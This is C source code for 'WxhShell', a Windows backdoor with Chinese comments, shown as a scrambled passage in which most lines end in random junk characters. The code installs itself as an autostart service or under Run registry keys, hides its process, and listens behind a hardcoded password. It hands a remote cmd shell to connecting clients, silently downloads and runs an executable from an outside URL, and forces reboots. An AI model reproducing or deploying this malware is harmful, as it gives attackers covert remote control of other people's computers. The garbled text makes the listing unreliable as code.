    if(Boot(SHUTDOWN)) mn*}U R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6']G HDK  
    else { 5evk_f  
    closesocket(wsh); t=|}?lN<  
    ExitThread(0); ;=k{[g 'gv  
    } v#`>  
    break; ,Q.[Lc=w  
    } ,H8M.hbsQ  
  // 获取shell #_ UP}G$  
  case 's': { ?%#no{9  
    CmdShell(wsh); Z^=(9 :  
    closesocket(wsh); esq~Ehr=  
    ExitThread(0); G9GHBwT  
    break; h7@%}<%  
  } (ti!Y"e2  
  // 退出 m)?0;9bt  
  case 'x': { \(;u[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ] w0Y5H "  
    CloseIt(wsh); Q7{{r&|t&  
    break; C'{B  
    } qg|ark*1u  
  // 离开 W~a|AU8]C  
  case 'q': { ecO$L<9>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /3 VO!V]u  
    closesocket(wsh); Ts3!mjn  
    WSACleanup(); !ZvVj\{  
    exit(1); BUV4L5(  
    break; a>9_#_hI  
        } {v|ib112;  
  } IXlk1tHN4I  
  } <a&xhG}  
hl] y):  
  // 提示信息 9I$} =&"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <#199`R  
} b\zq,0%  
  } R y(<6u0  
)s4: &!  
  return; 9_.pLLx  
} 3gD <!WI  
s&Al4>}.f  
// shell模块句柄 'o*\ N%  
int CmdShell(SOCKET sock) S3$C#mHX  
{ ~D`R"vzw=  
STARTUPINFO si; dmcY]m  
ZeroMemory(&si,sizeof(si)); &; p}HL,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @<X[,Mj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #<U@SMv  
PROCESS_INFORMATION ProcessInfo; 5wE6gRJ  
char cmdline[]="cmd"; aY;34SF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -N5h`Ii7  
  return 0; -3wid1SOm  
}  vILB$%I  
0pl'*r*9  
// 自身启动模式 .j"heYF)  
int StartFromService(void) ~l. C -  
{ %cDDu$9;  
typedef struct vb]uO ' l  
{ -*hPEgcV9  
  DWORD ExitStatus; #7]>ozKm  
  DWORD PebBaseAddress; 2PUB@B' +  
  DWORD AffinityMask; rj4Mq:pJ  
  DWORD BasePriority; ^k{/Yl  
  ULONG UniqueProcessId; bY*_6SPK4  
  ULONG InheritedFromUniqueProcessId; Z=;=9<vA  
}   PROCESS_BASIC_INFORMATION; qW|h"9sr  
}H saJ=1U  
PROCNTQSIP NtQueryInformationProcess; g>'6"p;  
* CAz_s<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S4_ZG>\VT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [u J<]  
|u$*'EsP  
  HANDLE             hProcess; 2 n2,MB  
  PROCESS_BASIC_INFORMATION pbi; hkV*UH{  
8wZ $Hq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (2"4PU8  
  if(NULL == hInst ) return 0; M?hPlo"_  
!vc 5NKv#n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VkJTcC:1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2`ERrh^i"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n <HF]  
T nyLVIP  
  if (!NtQueryInformationProcess) return 0; 30(e6T;   
u`oJ3mS;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xG Y!r"[  
  if(!hProcess) return 0; M19 5[]  
wdV)M?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uH7rt  
>yqEXx5{  
  CloseHandle(hProcess); jGJf[:M&Pm  
v<g#/X8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I\rjw$V#  
if(hProcess==NULL) return 0; a8%T*mk(  
3/& |Z<f  
HMODULE hMod; E5c)\ D  
char procName[255]; Vhb~kI!x  
unsigned long cbNeeded; sk0/3X*Q%  
rXip"uz(K>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kI5LG6  
'-G,7!.,r%  
  CloseHandle(hProcess);  :J)^gc  
j.+,c#hFo  
if(strstr(procName,"services")) return 1; // 以服务启动 2(e;pM2Dq  
V/R@ =[  
  return 0; // 注册表启动 a{%EHL,F  
} /w2IL7}  
YY'[PXP$Y  
// 主模块 !y!s/i&P%  
int StartWxhshell(LPSTR lpCmdLine) 5"q{b1  
{ /jq"r-S"  
  SOCKET wsl; c\tw#;\9  
BOOL val=TRUE; A,= R`m  
  int port=0; |c-`XC2g  
  struct sockaddr_in door; ^BI&-bR@  
@:!%Z`  
  if(wscfg.ws_autoins) Install(); 0&r}'f ?  
cmaha%3d  
port=atoi(lpCmdLine); cRf;7G  
b Hy<`p0  
if(port<=0) port=wscfg.ws_port; pH@yE Vf  
%VXIiu[  
  WSADATA data; {c&9}u$e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +s [_ 4  
HDu|KW$o1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =Q|s[F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +OB&PE  
  door.sin_family = AF_INET; v yP_qG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8@T0]vH&  
  door.sin_port = htons(port); *1>Tc,mb  
R9+f^o` W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O&">%aU1I  
closesocket(wsl); kaDn= ={YM  
return 1; F{}:e QD  
} >4#\ U!  
otP2qAI  
  if(listen(wsl,2) == INVALID_SOCKET) { [~Z#yEiW^  
closesocket(wsl); W`n_m&Y\  
return 1; J=n^&y  
} W}wd?WIps  
  Wxhshell(wsl); A+3=OBpkW0  
  WSACleanup(); x_H"<-By  
xz,M>Ua  
return 0; Me;Nn$'%  
Ew9 MWlk  
} q93V'[)F  
mFIIqkUAL  
// 以NT服务方式启动 a$6pA@7}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /J,&G: Er  
{ b1ZHfe:  
DWORD   status = 0; QkO4Td<  
  DWORD   specificError = 0xfffffff; _)# ~D*3  
(fO~nN{F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %';DBozZ   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `k08M)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8[8U49V9(  
  serviceStatus.dwWin32ExitCode     = 0; \z2d=E  
  serviceStatus.dwServiceSpecificExitCode = 0; 9AQ2FD  
  serviceStatus.dwCheckPoint       = 0; "n<u(m8E  
  serviceStatus.dwWaitHint       = 0; -%t8a42  
+Pn`AV1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z,b^f Vw  
  if (hServiceStatusHandle==0) return; z &[[4[  
[3W+h1  
status = GetLastError(); Q@UY4gA '  
  if (status!=NO_ERROR) Z ?w=-  
{ v/wR) 9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  HYg7B  
    serviceStatus.dwCheckPoint       = 0; m$q*  
    serviceStatus.dwWaitHint       = 0; ]O+Nl5*  
    serviceStatus.dwWin32ExitCode     = status; Q9t.*+  
    serviceStatus.dwServiceSpecificExitCode = specificError; h3A|nd>\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P`M1sON~  
    return; V0:db  
  } h6(L22Hn  
k${F7I(Tb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f<3r;F7  
  serviceStatus.dwCheckPoint       = 0; 2{#=Ygb0  
  serviceStatus.dwWaitHint       = 0; u+8?'ZT,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5{8,+ Z  
} W{;LI WsZ  
]^l-k@  
// 处理NT服务事件,比如:启动、停止 faI4`.i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HM\gOz  
{ RjX#pb  
switch(fdwControl) ,u>K##X\  
{ yAVt[+0  
case SERVICE_CONTROL_STOP: ~3m} EL  
  serviceStatus.dwWin32ExitCode = 0; h$fC/Juit  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HC ?XNR&  
  serviceStatus.dwCheckPoint   = 0; *yA. D?  
  serviceStatus.dwWaitHint     = 0; rYr.mX  
  { a^&3?3   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rkWW)h(e  
  } y|Zj M  
  return; h'G8@j;  
case SERVICE_CONTROL_PAUSE: 90)rOD1B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z7R+'OC  
  break; <3Hu(Jx<O  
case SERVICE_CONTROL_CONTINUE: %bUpVyi!(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  WR"p2=  
  break; R2[!h1nZ  
case SERVICE_CONTROL_INTERROGATE: =").W\,  
  break; KHXnB  
}; 6T~xjAuJ3T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t\C[mw  
} $(%t^8{a~G  
M3 $MgsN:  
// 标准应用程序主函数 tt>=Vt '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cb~m==G  
{ v|mZcAz  
 Z@`HFZJ  
// 获取操作系统版本 *,DBRJ_*7  
OsIsNt=GetOsVer(); .{W)E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T/C1x9=?  
~UJ_Rr54  
  // 从命令行安装 ouUU(jj02  
  if(strpbrk(lpCmdLine,"iI")) Install(); .oo>NS  
u5FlT3hY.  
  // 下载执行文件 /1lUFL2D  
if(wscfg.ws_downexe) { x_5H_! \#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1 {V*(=Tp  
  WinExec(wscfg.ws_filenam,SW_HIDE); "2bCq]I0  
} z<mU$<  
+<H)DPG<  
if(!OsIsNt) { Z5o6RTi  
// 如果时win9x,隐藏进程并且设置为注册表启动 r yO\$m  
HideProc(); 1jozM"H7Q  
StartWxhshell(lpCmdLine); W7"ks(  
} 3J}bI {3  
else u|D_"q~+6  
  if(StartFromService()) b=+'i  
  // 以服务方式启动 fhmq O0  
  StartServiceCtrlDispatcher(DispatchTable); ~dK)U*Q  
else Tce2]"^;  
  // 普通方式启动 wy$9QN  
  StartWxhshell(lpCmdLine); ,#r>#fi0  
gI^*O@Q4{b  
return 0; I.\fhNxHY  
} O=St}B\!m  
;[@< ,  
?J~(qaa;  
Y75,{1\l0  
=========================================== x AD:Z "  
3B|o   
?c^0%Op  
a ^b_&}y  
9Qb_BNUo  
DO$jX 4  
" X] &Q^  
i9oi}$;J  
#include <stdio.h> /E@|  
#include <string.h> >LwZ"IE V  
#include <windows.h> ?j8F5(HF?  
#include <winsock2.h> ><[($Gq`g  
#include <winsvc.h> Uok?FEN  
#include <urlmon.h> p/xxoU  
u%S&EuX  
#pragma comment (lib, "Ws2_32.lib") F"3PP ~  
#pragma comment (lib, "urlmon.lib") 8hi|F\$_h  
?y7x#_Exc  
#define MAX_USER   100 // 最大客户端连接数 Jn. WbS  
#define BUF_SOCK   200 // sock buffer T'l >$6  
#define KEY_BUFF   255 // 输入 buffer W^q;=D6uh  
(yCF pb  
#define REBOOT     0   // 重启 D`LcL|nmH  
#define SHUTDOWN   1   // 关机 W@1Nit-R  
<ok/2v  
#define DEF_PORT   5000 // 监听端口 FMuM:%&J]  
40oRO0p  
#define REG_LEN     16   // 注册表键长度 @ Sw[+`  
#define SVC_LEN     80   // NT服务名长度 EOjo>w>  
Z| Z447_  
// 从dll定义API .Kr?vD^nG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t+5JIQY>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a="Z]JGk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]z,W1Zs?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m6)8L?B   
xGJ{_M  
// wxhshell配置信息 l-"$a8jn2  
struct WSCFG { !h{qO&ZH=  
  int ws_port;         // 监听端口 1+PLj[;jJ:  
  char ws_passstr[REG_LEN]; // 口令 {SW}S_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~&=-*  
  char ws_regname[REG_LEN]; // 注册表键名 auqM>yx  
  char ws_svcname[REG_LEN]; // 服务名 INsc!xOQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b}p0&%I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b:Dr _|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YsXP$y]g-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *BT-@V.4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e7ixi^Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AS[cz! >  
lN)U8  
}; 69 R8#M  
%< JjftNQ  
// default Wxhshell configuration $6T*\(;T@A  
struct WSCFG wscfg={DEF_PORT, . Yg)|/  
    "xuhuanlingzhe", _H|x6X1-  
    1, ig] * Z  
    "Wxhshell", Hm4:m$=p4  
    "Wxhshell", 1K&z64Q5J  
            "WxhShell Service", <SUjz}_Oa:  
    "Wrsky Windows CmdShell Service", LZV  
    "Please Input Your Password: ", 1"009/|   
  1, qCn(~:  
  "http://www.wrsky.com/wxhshell.exe", BCk$FM@  
  "Wxhshell.exe" )R+@vh#Q<$  
    }; ;=Jj{FoG%  
NA>h$N  
// 消息定义模块 f7}/ {}g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b2. xJ4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =9GL;z:R+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a0Cf.[L  
char *msg_ws_ext="\n\rExit."; gd-4hR  
char *msg_ws_end="\n\rQuit."; 6$w)"Rq  
char *msg_ws_boot="\n\rReboot..."; !-%i" a  
char *msg_ws_poff="\n\rShutdown..."; 8'_>A5L/C  
char *msg_ws_down="\n\rSave to "; d>eVR  
MRi QaUg2  
char *msg_ws_err="\n\rErr!"; UHF.R>Ry  
char *msg_ws_ok="\n\rOK!"; z,[4 BM  
9~bje^M  
char ExeFile[MAX_PATH]; bWo-( qxq  
int nUser = 0; B@` 87  
HANDLE handles[MAX_USER]; c%r?tKG6  
int OsIsNt; 1 e1$x@\\  
[S9T@Q  
SERVICE_STATUS       serviceStatus; .@Z qCH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7^#f<m;Ar!  
8P0XY S@  
// 函数声明 hWwh`Vw%  
int Install(void); ]fI v{[A_  
int Uninstall(void); Mb=vIk{B f  
int DownloadFile(char *sURL, SOCKET wsh); u{yENZ^P  
int Boot(int flag); _ro^<V$%  
void HideProc(void); MQY^#N  
int GetOsVer(void); 9%j_"+<c  
int Wxhshell(SOCKET wsl); NduvfA4  
void TalkWithClient(void *cs); mHB*4L  
int CmdShell(SOCKET sock); 8i=J(5=  
int StartFromService(void); \,i9m9;y  
int StartWxhshell(LPSTR lpCmdLine); z;@;jQ7  
O E0w/{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tbF>"?FY/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PuqT&|wP l  
a H'iW)  
// 数据结构和表定义 \:]Clvc  
SERVICE_TABLE_ENTRY DispatchTable[] = uA7~`78  
{ t6BggO"_u  
{wscfg.ws_svcname, NTServiceMain}, N_lQz(nG/2  
{NULL, NULL} vF0#]  
}; A&rk5y;  
Ol6jx%Je`  
// 自我安装 N}b/; Y  
int Install(void) G1z[v3T  
{ $As;Tvw.  
  char svExeFile[MAX_PATH]; E1usxF)  
  HKEY key; }&Un8Rg"h  
  strcpy(svExeFile,ExeFile); 4eK!1|1  
|} ;&xI  
// 如果是win9x系统,修改注册表设为自启动 9&fS<Hk  
if(!OsIsNt) { W\:!v%C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Lx,<sE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eRc+.m[  
  RegCloseKey(key); t=o0 #jo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gf( hN|X.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %yX?4T;b  
  RegCloseKey(key); -U~]Bugvh  
  return 0; 56t9h/y  
    } [74HUw>  
  } qPGpN0M`  
} iZ % KHqG  
else { =B<>H$  
_^;+_6&[  
// 如果是NT以上系统,安装为系统服务 B/.+&AJw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6&_"dg"  
if (schSCManager!=0) _jg&}HM  
{ VI7f}  
  SC_HANDLE schService = CreateService yoiKt; S  
  ( b9Jah  
  schSCManager, g"aWt% P  
  wscfg.ws_svcname, '8\7(0$c  
  wscfg.ws_svcdisp, f#mBMdj  
  SERVICE_ALL_ACCESS, %Z9&zmO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]=\vl>W  
  SERVICE_AUTO_START, qpzzk9ba[  
  SERVICE_ERROR_NORMAL, s\i:;`l:=5  
  svExeFile, e^2e[rp0  
  NULL, 2u9O+]EP  
  NULL, BK`NPC$a  
  NULL, (?R;u>  
  NULL, ,PC'xrEo  
  NULL 4.il4Qqy}i  
  ); /{@^h#4M1  
  if (schService!=0) 3SI:su  
  { 6Y?%G>$6  
  CloseServiceHandle(schService); qNb|6/DG  
  CloseServiceHandle(schSCManager); !wP |t#Sc9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,p2BB"^_i  
  strcat(svExeFile,wscfg.ws_svcname); [P~6O>a5p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QcQQQM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i4;`dCT|A  
  RegCloseKey(key); !kCMw%[  
  return 0; ms9zp?M  
    } /]7FX"  
  } >Y,3EI\  
  CloseServiceHandle(schSCManager); y.,S}7l:  
} lO=+V 6  
} T,N"8N{K"  
4#hDt^N~  
return 1; [O~' \ Q  
} "9F]Wv/  
;VM',40  
// 自我卸载 V)x(\ls]SX  
int Uninstall(void) mBW E^  
{ @;>i3?  
  HKEY key; ~q0g7?}&  
j{}-zQ]n  
if(!OsIsNt) { 1$S;#9PQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F>N3GPRl  
  RegDeleteValue(key,wscfg.ws_regname); .gY}}Q  
  RegCloseKey(key); P(iZGOKUs=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dLA'cQId  
  RegDeleteValue(key,wscfg.ws_regname); ]MI> "hn  
  RegCloseKey(key); R}~p1=D  
  return 0; ;/tZsE{  
  } Ve/"9 ?Y_  
} j5hM |\]  
} QG{).|pm  
else { Q I!c=:u  
H<tk/\C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?t;>]Wo;  
if (schSCManager!=0) g;p]lVx=>  
{ oh%kuO T[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DGfhS`X  
  if (schService!=0) ;VQFz&Q$u  
  { gkxEy5c[  
  if(DeleteService(schService)!=0) { bpe8 `b(#  
  CloseServiceHandle(schService); VyRU_<xP  
  CloseServiceHandle(schSCManager); .-kqt^Gc  
  return 0; agQ5%t#  
  } #Bo/1G=  
  CloseServiceHandle(schService); t<`h(RczHI  
  } _W@SCV)yH  
  CloseServiceHandle(schSCManager); &uLxA w  
} NF?FEUoxz  
} G'|Emu=4  
R<r"jOd]  
return 1; n])-+[F  
} y&y(<  
5f54E|vD  
// 从指定url下载文件 iEDZ\\,  
int DownloadFile(char *sURL, SOCKET wsh) lHYu-}TNP  
{ IKJ~sw~AQ  
  HRESULT hr; 6k#H>zY,  
char seps[]= "/"; kBPFk t2  
char *token; hl4@Y#n  
char *file; zs+[Aco)  
char myURL[MAX_PATH]; 6{O#!o*g  
char myFILE[MAX_PATH]; 0 O{Y Vk`  
v\9:G  
strcpy(myURL,sURL); 4fDo}~  
  token=strtok(myURL,seps); kvU0$1  
  while(token!=NULL) E)(`Z0  
  { )G(6=l*  
    file=token; wf7<#jIq  
  token=strtok(NULL,seps); 3t(8uG<rL  
  } vFfvvRda4x  
q.(p.uD  
GetCurrentDirectory(MAX_PATH,myFILE); Pn{yk`6E  
strcat(myFILE, "\\"); !'14mN#A  
strcat(myFILE, file); Fa(}:Ug  
  send(wsh,myFILE,strlen(myFILE),0); Y^)VHE]  
send(wsh,"...",3,0); -t9oL3J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  m8rz i:  
  if(hr==S_OK) Df_W>QC  
return 0; Xco$ yF%  
else 9Ao0$|@b  
return 1; ]{9oB-;,  
2|k*rv}l  
} 4'BzW Z;_a  
c%.f|/.k  
// 系统电源模块 .?SClTqg  
int Boot(int flag) F"a^`E&  
{ @4:cn  
  HANDLE hToken; ~A0E4UJgq  
  TOKEN_PRIVILEGES tkp; =#XsY,r  
[5%/{W,~m  
  if(OsIsNt) { YtQKsM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S(A0),  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K{VF_S:  
    tkp.PrivilegeCount = 1; _ED1".&#f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @C=, >+D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GS{:7%=j  
if(flag==REBOOT) { <$.KCLP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |Sg *j-.  
  return 0; +DKrX  
} ,8uu,,c  
else { PiB)pUYj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tC+9W1o  
  return 0; @"9y\1u  
} bcpH|}[F)  
  } 81a&99k#  
  else { U]sU b3  
if(flag==REBOOT) { '4sT+q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v\Y;)/!  
  return 0; ^JtGT  
} Rn{q/h  
else { yh_s(>sh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EpGe'S  
  return 0; e:[ Kp6J  
} HZQI|  
} 7kn=j6I  
9BANCW"  
return 1; v%3)wD  
} nVG\*#*]|  
if5Y!Tx?G  
// win9x进程隐藏模块 se_zCS4Y  
void HideProc(void) Ao96[2U6  
{ | 7>1)  
zJ9ZqC]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;_j\E(^%  
  if ( hKernel != NULL ) 5d}PrYa  
  { v03~=(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B4R,[WE"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QBto$!})  
    FreeLibrary(hKernel); o\]e}+1[o  
  } P[P!WLr""  
l%Sz6  
return; @=wAk5[IN  
} O8u"Y0$*w  
4BEVG&Ks  
// 获取操作系统版本 4v2(YJ%u  
int GetOsVer(void) D~f.)kkC4  
{ 4)j<(5  
  OSVERSIONINFO winfo; #<'/s qL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GWE`'V  
  GetVersionEx(&winfo); d+T]EpQJ*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '%RMpyK~  
  return 1; M`?/QU~  
  else LO"HwN43h  
  return 0; y6*i/3  
} ^J% w[FE  
|P?8<8p  
// 客户端句柄模块 r.ajw&J2  
int Wxhshell(SOCKET wsl) U}A+jJ  
{ UjKHGsDi4  
  SOCKET wsh; 5RLK]=  
  struct sockaddr_in client; tW=0AtZl]  
  DWORD myID; [q.W!l4E  
b!.# `.  
  while(nUser<MAX_USER) 30H:x@='9  
{ D"x~bs?V\  
  int nSize=sizeof(client); 2:DpnLU5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DBmcvC  
  if(wsh==INVALID_SOCKET) return 1; bkOm/8k|4  
CKBi-q FH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c7rYG]  
if(handles[nUser]==0) t1Jz?Ix6%  
  closesocket(wsh); rkD4}jV  
else +H<%)Lk J  
  nUser++; P;_dil G  
  } )i!)Tv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rkm7"dO0  
p>}N9v;Bo  
  return 0; qw, >~  
} ,}2j Fb9z4  
Cn`% *w  
// 关闭 socket h,p&/oU4U  
void CloseIt(SOCKET wsh) JnsXEkM)  
{ '6WDs]\  
closesocket(wsh); t o?"{  
nUser--; F 1zc4l6  
ExitThread(0); v<c Hx/  
} S i>TG  
nVM`&azD  
// 客户端请求句柄 gRqz8UI  
void TalkWithClient(void *cs) 33;|52$  
{ &YMVoyVD  
J2cNwhZ  
  SOCKET wsh=(SOCKET)cs; r2Z`4tN:  
  char pwd[SVC_LEN]; ud#8`/!mq  
  char cmd[KEY_BUFF]; mE7Jv)@  
char chr[1]; "Q J-IRt &  
int i,j; =H?Nb:s  
v*^2[pf  
  while (nUser < MAX_USER) { 3}gK`1Nq1  
./g#<  
if(wscfg.ws_passstr) { $7bmUQ|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U&/S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AdYQhF##  
  //ZeroMemory(pwd,KEY_BUFF); Lul?@>T  
      i=0; e.kt]l  
  while(i<SVC_LEN) { S8cFD):q  
>WEg8'#O  
  // 设置超时 Q$zlxn 7\  
  fd_set FdRead; ,Z^GN%Q7a  
  struct timeval TimeOut; ]s S oIT  
  FD_ZERO(&FdRead); ropiyT9;  
  FD_SET(wsh,&FdRead); ~VGK#'X:  
  TimeOut.tv_sec=8; 1e+?O7/  
  TimeOut.tv_usec=0; 5.E 2fX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >k jJq]A2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >k#aB.6  
24Tw1'mW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [aC9vEso!  
  pwd=chr[0]; SYwNx">Bq  
  if(chr[0]==0xd || chr[0]==0xa) { g!8lW   
  pwd=0; gc:>HX );)  
  break; Yt'o#"R)  
  } mNY z7N  
  i++; iTvCkb48m  
    } igL^k`&5^"  
.KSGma6]  
  // 如果是非法用户,关闭 socket [P,nW/H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /W>"G1)  
} s#fmGe"8  
1mV0AE538  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y|~>(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c2f$:XiM  
zK92:+^C   
while(1) { "8]170  
jdp:G  
  ZeroMemory(cmd,KEY_BUFF); A~>=l=  
a+i+#*8wm  
      // 自动支持客户端 telnet标准   gD\}CxtG  
  j=0; /{va<CL  
  while(j<KEY_BUFF) { Ei<:=6EX?8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [)pT{QA  
  cmd[j]=chr[0]; }{y$$X<:  
  if(chr[0]==0xa || chr[0]==0xd) { u2Obb`p S  
  cmd[j]=0; f+Go8Lg=M  
  break; y^rg%RV  
  } jg8P4s  
  j++; :<gk~3\  
    } yw<xv-Q=i  
"U.=A7r  
  // 下载文件 .#J3UZ  
  if(strstr(cmd,"http://")) { n}?G!ySg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k N+(  
  if(DownloadFile(cmd,wsh)) WGx>{'LJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@)bl  
  else J;`~ !g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v],DBw9  
  } pH [lj8S  
  else { MvmP["%J4_  
bg}77Y'^  
    switch(cmd[0]) { :bDA<B6bb  
  /f<(K-o]  
